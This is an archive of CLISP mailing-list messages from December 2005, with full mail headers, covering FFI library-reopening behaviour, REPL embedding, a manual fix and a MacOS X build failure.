Joerg-Cyril [2005-12-09 19:27:39 +0100]: > > I just noticed that in October 2005, the CLISP FFI underwent changes > which may affect what people know about behaviour of shared libraries > with the FFI. I am not sure what patch you are talking about. I think the behavior you described has been there all along. > Also, if you happened to couple the lifetime of some FFI object to the lifetime of a Lisp object, including FFI objects (as opposed to foreign objects) is determined by GC. "validation" (validp/(setf validp)) is only a user-level tool. > library (via the documented SET-FOREIGN-POINTER function), then > suddenly, these objects would become alive again as well. However they > are very likely to point to broken storage. This is somewhat scary. they become live only when they are updated to point to something useful. > The following scenario shows what this looks like, and how the > revalidated adresses can be different from the previous ones: so? > I believe CLISP could be modified so that revalidation upon funcall > still works, yet the old pointer remains dead, but I haven't looked at > the code recently. OK, if you think this is TRT, just do it. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org/ http://www.savegushkatif.org http://www.dhimmi.com/ http://www.honestreporting.com http://www.memri.org/ WHO ATE MY BREAKFAST PANTS? From lisp-clisp-list@m.gmane.org Fri Dec 09 11:35:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eko1R-0000sK-Fx for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 11:35:13 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Eko1P-00081R-VY for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 11:35:13 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Eknyj-0007zE-EI for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 20:32:25 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 09 Dec 2005 20:32:25 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 09 Dec 2005 20:32:25 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 12 Message-ID: <87ek4moyqx.fsf@zemdatav.stor.no-ip.org> References: <87oe3qpf8s.fsf@zemdatav.stor.no-ip.org> <87k6eep4jh.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:iOYD7Wa00U/Ibd3Sh6n6iP/3Eao= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Encoding test fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 11:36:00 2005 X-Original-Date: Fri, 09 Dec 2005 20:29:26 +0100 Sam Steingold writes: > what does -fsigned-char do? > google turns out nothing. It makes "char" mean "signed char", regardless of the default on the current platform. This might be useful if there is much code that assumes that char is always signed. On the other hand, it seems there isn't (the test suite now completes), and it's probably cleaner to fix the code instead of hiding the symptoms. Magnus From Devon@Jovi.Net Fri Dec 09 12:08:17 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkoXR-0002nw-Dp for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 12:08:17 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EkoXQ-0003aU-P6 for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 12:08:17 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jB9K7jP8049587 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 9 Dec 2005 15:07:46 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jB9K7it7049584; Fri, 9 Dec 2005 15:07:44 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200512092007.jB9K7it7049584@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net In-reply-to: <5F9130612D07074EB0A0CE7E69FD7A0307461D3E@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] the handling of invalid pointers in the FFI changed in October 20 05 References: <5F9130612D07074EB0A0CE7E69FD7A0307461D3E@S4DE8PSAAGS.blf.telekom.de> X-Spam-Status: No, score=-3.5 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Fri, 09 Dec 2005 15:07:59 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 12:09:01 2005 X-Original-Date: Fri, 9 Dec 2005 15:07:44 -0500 (EST) Could one prevent implicit open of a specified library or trap references to a specified foreign pointer, e.g., some sort of file system access hook? Perhaps better done at the OS level. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] the handling of invalid pointers in the FFI changed in October 20 05 Date: Fri, 9 Dec 2005 19:27:39 +0100 Hi, I just noticed that in October 2005, the CLISP FFI underwent changes which may affect what people know about behaviour of shared libraries with the FFI. CLISP will attempt to resurrect invalid pointers from shared libraries on a "by need" basis. I.e., an attempt to invoke a function from a shared library will try and open it upon encountering an invalid library base pointer. Such pointers, e.g. # may result from - explicitly invalidating a pointer, (e.g. a useful additional step when explicitly closing a library), or - when starting from a .mem image which had shared libraries open. Although useful, this can also be quite dangerous! If you closed a library explicitly, it may be reopened without you noticing it, in case one of its functions gets called. This is quite distinct from the behaviour which I advertised previously: you could close a library explicitly to prevent it from being used inadvertantly, and you'd get an error when trying. The new behaviour (which is not yet documented in impnotes) is a consequence of a move toward later binding of foreign functions: now it can happen such late as when a first function call is made. Also, if you happened to couple the lifetime of some FFI object to the library (via the documented SET-FOREIGN-POINTER function), then suddenly, these objects would become alive again as well. However they are very likely to point to broken storage. This is somewhat scary. The following scenario shows what this looks like, and how the revalidated adresses can be different from the previous ones: > (use-package"FFI") T > (def-call-out compress-bound (:name "compressBound") (:library "libz.so") (:arguments (sourceLen ulong)) (:return-type ulong)) > (setf foo #'compress-bound) # [23]> (setq bar (foreign-address *)) # [24]> (setq barp (foreign-pointer *)) # [25]> (saveinitmem "bar.mem" :verbose t) Speicherabbild als bar.mem abgespeichert. 2587176 ; 645914 > $ clisp -M bar.mem [1]> foo # [2]> bar # [3]> barp # ; obviously the original pointer got fixed in place, instead of creating a new one... ; ... like the Amiga-CLISP FFI once did upon startup. [4]> (funcall foo 0) ; foo can be called despite being invalid! ; the library got reopened. 11 [5]> foo ; note how the address is now different # [6]> bar # [7]> barp # [8]> I believe CLISP could be modified so that revalidation upon funcall still works, yet the old pointer remains dead, but I haven't looked at the code recently. Implementation note: reopening a library may take a little time, as CLISP will try to obtain all addresses from all functions that once were used, instead of just the one being called. Regards, Jorg Hohle. ------------------------------------------------------- This SF.net email is sponsored by: Splunk Inc. Do you grep through log files for problems? Stop! Download the new AJAX search engine that makes searching your log files as easy as surfing the web. DOWNLOAD SPLUNK! http://ads.osdn.com/?ad_id=7637&alloc_id=16865&op=click _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From lisp-clisp-list@m.gmane.org Sat Dec 10 18:51:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElHJ1-0003kT-Vj for clisp-list@lists.sourceforge.net; Sat, 10 Dec 2005 18:51:19 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ElHIz-0004XO-Ly for clisp-list@lists.sourceforge.net; Sat, 10 Dec 2005 18:51:20 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1ElHHB-00039V-W1 for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 03:49:26 +0100 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 11 Dec 2005 03:49:25 +0100 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 11 Dec 2005 03:49:25 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 21 Message-ID: <7jac5oyv.fsf@netscape.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b22 (windows-nt) Cancel-Lock: sha1:jOv3yY0urWvrdAS/Hw/6BKe4tHQ= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Embedding clisp repl and exiting? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 10 18:52:01 2005 X-Original-Date: Sat, 10 Dec 2005 19:47:52 -0700 Hello, How can I embed `clisp' repl into my program, such that when the user does (exit), only the repl is exited, and control transfers back to my program? I don't want to write my own repl, I just want to use the repl provided by the implementation. Is there any way of doing this? Thanks for your replies. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html ,---- | "O thou my friend! The prosperity of Crime is like unto the lightning, | whose traitorous brilliancies embellish the atmosphere but for an | instant, in order to hurl into death's very depths the luckless one | they have dazzled." -- Marquis de Sade `---- From kavenchuk@tut.by Sun Dec 11 02:46:39 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElOj0-00078H-24 for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 02:46:38 -0800 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ElOiy-0003SI-IC for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 02:46:37 -0800 Received: from [194.158.220.110] (account kavenchuk HELO [194.158.220.110]) by tut.by (CommuniGate Pro SMTP 4.3.6) with ESMTPSA id 31830133 for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 12:39:07 +0200 Message-ID: <439C0383.8000609@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru-ru, ru, en-en, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] impnotes: 29.1.10.2. Funcallable Instances Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 11 02:47:01 2005 X-Original-Date: Sun, 11 Dec 2005 12:46:27 +0200 clisp from CVS head, mingw [1]> (defclass constructor () ((name :initarg :name :accessor constructor-name) (fields :initarg :fields :accessor constructor-fields)) (:metaclass funcallable-standard-class)) # [2]> (defmethod initialize-instance :after ((c constructor) &KEY) (with-slots (name fields) c (set-funcallable-instance-function c #'(lambda () (let ((new (make-array (1+ (length fields))))) (setf (aref new 0) name) new))))) #)> [3]> (setq c1 (make-instance 'constructor :name 'position :fields '(x y))) #> [4]> (setq p1 (funcall c1)) #(POSITION NIL NIL) [5]> Oops? Thanks! -- WBR, Yaroslav Kavenchuk. From lenst@lysator.liu.se Sun Dec 11 04:04:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElPwR-0000HE-QX for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 04:04:35 -0800 Received: from [82.212.66.14] (helo=ekavan.hemmanet.se ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ElPwP-0007XH-Ub for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 04:04:35 -0800 Received: from [82.212.74.66] (unknown [82.212.74.66]) by ekavan.hemmanet.se (Postfix) with ESMTP id 6C7171CDE496 for ; Sun, 11 Dec 2005 13:22:43 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v623) Content-Transfer-Encoding: 7bit Message-Id: <75fe0eacee8f420cb3408e353fc41816@lysator.liu.se> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Lennart Staflin X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Problem building 2.36 on MacOS X 10.3.9 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 11 04:05:11 2005 X-Original-Date: Sun, 11 Dec 2005 13:04:22 +0100 Hi, I have problem building CLISP 2.36 on MacOS X 10.3.9 (Darwin 7.9.0) and gcc (GCC) 3.3 20030304 (Apple Computer, Inc. build 1671) ./configure --with-libreadline-prefix=/opt/local \ --with-libsigsegv-prefix=/usr/local \ --build /tmp/clisp-build The build fails with: ld: Undefined symbols: _I_to_uint64 ./clisp-link: failed in /private/tmp/clisp-build/base Earlier in the build: Configure findings: FFI: no (user requested: default) readline: no (user requested: default) libsigsegv: yes It is not configuring FFI. I don't think I have ever gotten FFI to build on OS X. But I think I remember installing a binary distribution of CLISP with FFI. Am I missing something in my setup for FFI to work? Back to the build failure that might be related to FFI: [lispbibl.d] #if defined(HAVE_FFI) || defined(HAVE_AFFI) #ifdef HAVE_LONGLONG #define I_to_uint64(obj) I_to_UQ(obj) #define I_to_sint64(obj) I_to_Q(obj) #endif #endif The Undefined symbol (I_to_uint64) is defined as a macro, but only when we have FFI. But it is still used independent of FFI (in stream.d I think). Removing the "#if defined(HAVE_FFI) ..." allowed the build to finish. //Lennart Staflin From sds@gnu.org Sun Dec 11 08:23:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElTz0-0000Tb-Hg for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 08:23:30 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ElTyw-0003ay-R6 for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 08:23:30 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 11 Dec 2005 11:23:24 -0500 X-IronPort-AV: i="3.99,239,1131339600"; d="scan'208"; a="182710309:sNHT40198988" To: clisp-list@lists.sourceforge.net, Lennart Staflin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <75fe0eacee8f420cb3408e353fc41816@lysator.liu.se> (Lennart Staflin's message of "Sun, 11 Dec 2005 13:04:22 +0100") References: <75fe0eacee8f420cb3408e353fc41816@lysator.liu.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Lennart Staflin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Problem building 2.36 on MacOS X 10.3.9 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 11 08:24:02 2005 X-Original-Date: Sun, 11 Dec 2005 11:22:09 -0500 > * Lennart Staflin [2005-12-11 13:04:22 +0100]: > > [lispbibl.d] > #if defined(HAVE_FFI) || defined(HAVE_AFFI) > #ifdef HAVE_LONGLONG > #define I_to_uint64(obj) I_to_UQ(obj) > #define I_to_sint64(obj) I_to_Q(obj) > #endif > #endif fixed, thanks -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://www.honestreporting.com http://www.jihadwatch.org/ http://www.iris.org.il http://www.camera.org http://ffii.org/ Takeoffs are optional. Landings are mandatory. From sds@gnu.org Sun Dec 11 08:25:39 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElU13-0000Wn-QX for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 08:25:37 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ElU11-0003N2-B3 for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 08:25:37 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 11 Dec 2005 11:25:34 -0500 X-IronPort-AV: i="3.99,239,1131339600"; d="scan'208"; a="182710677:sNHT25873492" To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <7jac5oyv.fsf@netscape.net> (Surendra Singhi's message of "Sat, 10 Dec 2005 19:47:52 -0700") References: <7jac5oyv.fsf@netscape.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Embedding clisp repl and exiting? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 11 08:26:06 2005 X-Original-Date: Sun, 11 Dec 2005 11:24:19 -0500 > * Surendra Singhi [2005-12-10 19:47:52 -0700]: > > How can I embed `clisp' repl into my program, such that when the user does > (exit), only the repl is exited, and control transfers back to my program? http://sourceforge.net/tracker/index.php?func=detail&aid=423264&group_id=1355&atid=351355 http://www.cygwin.com/acronyms/#PTC -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.palestinefacts.org/ http://www.openvotingconsortium.org/ http://www.dhimmi.com/ There is an exception to every rule, including this one. From sds@gnu.org Sun Dec 11 09:57:56 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElVSO-0004Om-Ju for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 09:57:56 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ElVSK-00084A-Bt for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 09:57:56 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 11 Dec 2005 12:57:50 -0500 X-IronPort-AV: i="3.99,240,1131339600"; d="scan'208"; a="182733732:sNHT174721524" To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <439C0383.8000609@tut.by> (Yaroslav Kavenchuk's message of "Sun, 11 Dec 2005 12:46:27 +0200") References: <439C0383.8000609@tut.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: impnotes: 29.1.10.2. Funcallable Instances Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 11 09:58:01 2005 X-Original-Date: Sun, 11 Dec 2005 12:56:34 -0500 > * Yaroslav Kavenchuk [2005-12-11 12:46:27 +0200]: > > clisp from CVS head, mingw > > [1]> (defclass constructor () > ((name :initarg :name :accessor constructor-name) > (fields :initarg :fields :accessor constructor-fields)) > (:metaclass funcallable-standard-class)) > # > [2]> (defmethod initialize-instance :after ((c constructor) &KEY) > (with-slots (name fields) c > (set-funcallable-instance-function > c > #'(lambda () > (let ((new (make-array (1+ (length fields))))) > (setf (aref new 0) name) > new))))) > #)> > [3]> (setq c1 (make-instance 'constructor > :name 'position :fields '(x y))) > #> > [4]> (setq p1 (funcall c1)) > #(POSITION NIL NIL) > [5]> I fixed the manual, thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org/ http://www.memri.org/ http://www.camera.org http://www.savegushkatif.org http://www.mideasttruth.com/ The only intuitive interface is the nipple. The rest has to be learned. From pjb@informatimago.com Sun Dec 11 11:32:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElWvh-0000IK-WA for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 11:32:18 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ElWvg-0008Ty-5R for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 11:32:18 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 4295C58344; Sun, 11 Dec 2005 20:32:00 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6BC8B5833D; Sun, 11 Dec 2005 20:31:54 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 00F4A8F29; Sun, 11 Dec 2005 20:31:53 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17308.32425.959160.513115@thalassa.informatimago.com> To: Surendra Singhi Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Embedding clisp repl and exiting? In-Reply-To: <7jac5oyv.fsf@netscape.net> References: <7jac5oyv.fsf@netscape.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: 